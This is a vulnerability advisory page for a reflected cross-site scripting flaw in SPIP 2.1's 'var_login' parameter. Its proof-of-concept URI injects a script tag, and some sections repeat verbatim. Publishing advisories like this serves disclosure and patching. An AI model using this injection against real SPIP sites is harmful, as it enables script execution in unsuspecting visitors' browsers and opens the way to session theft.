SPIP 'var_login' Parameter Cross Site Scripting Vulnerability
BID:42060
Info
SPIP 'var_login' Parameter Cross Site Scripting Vulnerability
| Bugtraq ID: | 42060 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 28 2010 12:00AM |
| Updated: | Jul 28 2010 12:00AM |
| Credit: | dotsafe.fr |
| Vulnerable: |
SPIP SPIP 2.1 |
| Not Vulnerable: | |
Exploit / POC
SPIP 'var_login' Parameter Cross Site Scripting Vulnerability
Attackers can exploit this issue by enticing an unsuspecting user to follow a malicious URI.
The following example URI is available:
http://www.example.com/spip.php?page=informer_auteur&var_login[a<script>alert('XSS');</script>a]=aaa
Attackers can exploit this issue by enticing an unsuspecting user to follow a malicious URI.
The following example URI is available:
http://www.example.com/spip.php?page=informer_auteur&var_login[a<script>alert('XSS');</script>a]=aaa
Solution / Fix
SPIP 'var_login' Parameter Cross Site Scripting Vulnerability
Solution:
Reports indicate that this issue has been fixed by the vendor but Symantec has not confirmed this information. Please contact the vendor for more information.
Solution:
Reports indicate that this issue has been fixed by the vendor but Symantec has not confirmed this information. Please contact the vendor for more information.
References
SPIP 'var_login' Parameter Cross Site Scripting Vulnerability
References:
References:
- SPIP 2.1 - XSS (dotsafe.fr)
- SPIP Homepage (SPIP)